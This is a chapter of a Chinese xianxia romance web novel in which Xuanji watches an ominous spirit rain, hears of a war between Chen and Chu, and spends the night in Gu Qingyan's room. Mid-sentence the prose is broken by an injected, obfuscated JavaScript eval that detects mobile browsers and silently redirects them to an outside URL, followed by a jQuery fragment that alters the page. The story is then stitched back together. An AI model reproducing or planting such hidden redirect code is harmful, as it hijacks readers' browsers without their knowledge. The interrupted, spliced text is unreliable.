“哎。”印瑞阳戳戳肖嘉。
“萧先生”正在前边讲课,肖嘉不敢扭头,嘴歪眼斜地小声道:“什么事?”
“云流当初不是挺在意那个玄玑仙子的吗?这次怎么理都不理?”
肖嘉扯了扯嘴角,“云流脸皮薄,你大庭广众之下把他那点子小心思全都说出去了,理你才怪!”
他说完恍然见一枚细长的冰刺直奔他面门袭来,猛地俯身偏头躲开,却未曾想那冰刺直接化成水,浇了他满头。
这是说话被发现了。
肖嘉悄悄瞥了一眼印瑞阳,那厮竟然不知何时人模狗样地挺直身子坐好了,一副专心听讲的模样。
小人!肖嘉暗骂。
明明是他叫自己说话,反而自己被先生来了个“醍醐灌顶”。
恨恨地将头摆正,一抹青色映入眼帘。
“不会听讲就滚。”他说。
肖嘉老实了。
紧接着又听见“萧先生”朝着印瑞阳的方向道:“你也是。”
要说萧先生说话的内容与平时并无两样,但就是比往常多了一股寒意,那语气音调像从万年寒潭中悄然爬出的冷气,给印瑞阳冰一哆嗦。
室中冷津津的,外面却十分温暖,玄玑百无聊赖地看着日头慢慢西移,临近傍晚,才见到尹月兰来找她。
平日事务繁多,尹月兰忙得晕头转向,对“萧渚仙师”的态度一直都是淡淡的,玄玑别扭得厉害,非常想念温柔的、对自己关怀备至的师姐。
两人找到一处偏僻的凉亭坐下,才说几句话,尹月兰用通灵玉牌回复完讯息,又站起来了。
她也很想再多与小师妹聊上一会儿,可琐事缠身实在无暇他顾,望着玄玑饱含遗憾的双眼道了别,走出去几步想起什么,又回头,面上满是无奈地道:“尘世纷乱,在外云游,你且小心。”
听说三方军队又在集结兵力准备一战,炮火刀剑不长眼,尽管身为修士也要多加小心。
玄玑点点头,望了眼天,抬脚跟上尹月兰,“落日后有大雨,快走吧。”
虽已至傍晚,太阳却仍无遮无拦地挂在天际,晴空之上万里无云,怎么看都没有要落雨的迹象。
师姐并不怀疑她的判断,笑了笑,一边走一边奇道:“你从小便很会观察天象,看一眼就知天气如何,到底是修习了什么功法?”
平常修士要预测天气除了运用卜卦推演之术还可使用相应的法器,不过这两种方法都比较繁琐,远不及玄玑判断得快。
玄玑并不知有什么功法能辅助观天象,最起码她没练过,想想自己好像自有记忆起就能准确观测天象了。
爹娘有时候也会笑盈盈地问她天气如何,并未有疑,这对于玄玑就是很平常、很简单的一件事,好像她天生就掌握了这种能力。
“可能是家传之学?”玄玑不太确定地猜测道。
尹月兰知晓她幼时便家破人亡,担心勾起她的伤心事,没再就着这个话题说下去,飘飘然离开了。
玄玑晃晃悠悠又行至后山,思及大雨将至,传送阵恐怕难保,她对那神秘白衣人仍有疑虑,决定再进去一趟。
后山结界外的法阵早就被抹除了,为防一会下雨被雨水冲刷而走,玄玑在阵法中注入了更强的灵力。
“嗒。”
豆大的雨点落在泥土中。
尘埃的气息瞬间裹挟而至,玄玑望向西山发现日头早就没了踪影,只剩一丝昏黄的余晖。
只有几滴先行的雨点作为预告,骤雨强横地侵入了偃山山脉,玄玑不甘心地掏出避雨符继续画阵,却发现法阵被瞬时汇集的水流不留余力地带走了。
不好,不是一般的雨。
玄玑就近回到观云居,站在屋檐下望着瓢泼的大雨。“吱嘎”一声响,她循声望去,发现是隔壁的顾清砚在关窗。
顾清砚探出头来时看见女子装扮的玄玑,并不惊讶地轻笑一下,将窗子关上了。
玄玑见状快走几步利落地翻过竹篱,落到顾清砚的檐下。
轻轻敲几下门,听见“请进”二字便推门而入,进屋就见顾清砚刚刚斟好两杯热气腾腾的清茶。
“你怎么猜到我要来?”玄玑心中被大雨带来的一点愁绪被抛掷脑后,取而代之的是一点没来由的欣喜。
顾清砚见她这副样子,觉得新鲜,拿茶点时不由得多看了她两眼,发现玄玑歪着脑袋等自己回话,只淡淡说:“不用猜的。”
顾清砚也不知道怎么回事,早些年与玄玑斗智斗勇时,只能通过一些细节大致猜到她要作什么妖,现在好像对她更为了解了,刚才只是对视时看见玄玑脸上再平常不过的一个表情,自己便不由自主地泡上茶水等她进门了。
真没猜,想都没想,与那双漆黑的瞳孔对视时,顾清砚心里只有一个念头:快给她泡茶。
顾清砚惯会打哑谜,玄玑抿抿嘴,没再追问。
天色灰蒙,雨水反射出淡淡白光,两人静静坐在桌旁,透过敞开的木门遥看雨幕。
“这是灵雨。”玄玑喃喃道。
顾清砚知道她这是在思考,但还是轻轻应了一声。
“可是为什么?”玄玑又说。
灵雨顾名思义,是带有灵力的雨,这是天地灵力凝聚的祥瑞之相,却总在最危急的时刻降临——或是天崩地裂、洪水泛滥的天灾之后,或是战乱不休、生灵涂炭的人祸之余。
其中的灵力不论强弱,不辨正邪,只单纯地滋养万物、抚平创伤。
有人说这是天地对圣灵的怜悯,也有人说,降下灵雨,是这片大陆本身在在以自己的方式,默默维护着一丝生机。
可是灵雨的出现是没有规律的,近年来三国打了数不清的仗,其中有不少就在偃山周围,也没见一滴雨水落下。
玄玑唯一一次见到这么大的灵雨,还是在五十年前的那个噩梦般的夜晚之中。
她没觉得这灵雨有滋养涤荡之用,上回遇见灵雨时就别说了,痛彻心扉,此时此刻看着大雨滂沱,她也莫名地不好受,好像落一场雨,反而要将她自己的脑髓抽出去凑个热闹。
“昨日,陈、楚两国于盘龙峡之外开战了。”顾清砚突然道。
盘龙峡?
玄玑侧头,“那是哪?”
顾清砚记得范小源同自己说过,他独自从家中赶来,先得越过盘龙峡,那地方山险林深,要走出来就得三天。
她面色略带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16280025|182510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉重地告诉玄玑:“三百里外,范小源家附近。”
“战况如何?”玄玑蹙眉问道。
“楚国出兵二十万,陈国仅有十万,具体战况尚未可知。”
玄玑去温城时在路上耳濡目染地了解了凡间的三股主要势力,知道现下陈国实力更强,怎么到战场上,士卒人数要比对方少这么多?
奇怪。
哪里都奇怪。
从后山、到灵雨、到战争处处奇怪。
黑蒙蒙的天仿佛被捅漏了,没有雷电,只是一味地冲刷裸露在世间的一切痕迹。
雨没有要停的趋势,玄玑愈发地难受了。
她觉得身体的每一处都不属于自己,她的眼睛、她的心脏、她的皮肤,麻木又有些飘飘然,她有一瞬间好像变成了苍生,又从苍生变回自己。
她眼含着没来由的一丝悲怆,遥望天外无边际的黑。
漆黑慢慢变得越来越少,最后化成一道线,消失了。
玄玑缓慢地眨了眨眼,意识回笼,发觉是顾清砚将门严丝合缝地关好了。
“你很难受,”顾清砚说,“下雨让你煎熬吗?”
玄玑摇摇头,沉默地起身,拨开卧房的珠帘,像之前的那具以沧澜剑配石为心脏的木偶一样,静悄悄地躺在了顾清砚的床上。
顾清砚看着似曾相识的场景,不由得怀疑自己看走了眼。
玄玑自顾盖好了床上的金织云锦薄被,顾清砚上前伸手掀开了一点盖住她下巴的被角,一息之间便用灵力判断出来并不是人偶。
床上的人半阖着眼,用几近于恳求的语气道:“我可以在这里睡一晚吗?”
她心里空落落的,好像有什么东西与那雨水一同流去了,只想在这个烛火摇曳充满初叶香气的房间里安安稳稳地睡上一觉。
顾清砚从未见过玄玑这副样子,这在她眼里和撒娇并没有什么两样。
怔愣了一瞬,鬼使神差地,她说了声,好。
反正外间还有卧榻,放下这具身体绰绰有余,不算拥挤。
雨声渐小,屋内挤进来点凉风,顾清砚找出一床厚实些的薄被,给玄玑换上。
玄玑眼睛早就乖乖地闭好了。
顾清砚轻轻拨了拨她,“和衣睡不舒服,我去外间榻上,你把外袍脱下来。”
玄玑微微睁开眼睛,“你不陪我睡吗?”
顾清砚的表情像是见了鬼一样。
睡?
怎么睡?
同床共枕?这不合适。
玄玑见她有所迟疑,迷蒙的困意顿时变得没有那么重要了,不知哪里来的牛劲,骤然撑起身子伸手捞住顾清砚的腰将人带上了床。
天旋地转之后,顾清砚有些恍惚。
这具身体灵力有限,也从不对玄玑设防,但被人抱上床还是太离谱了。
玄玑的手紧紧锁住身侧的人,嗅到她身上的竹叶香气,身体好像也没有那么难受了,她伏在她的耳边,轻轻道:“谢谢你清砚。”
这一句罕见的温言软语让顾清砚再怎么想脱身也无法了。
她沉默了一瞬,自认投降,侧身抬起手抚上玄玑满是钗环的头,“抬起来一些,把首饰去了。”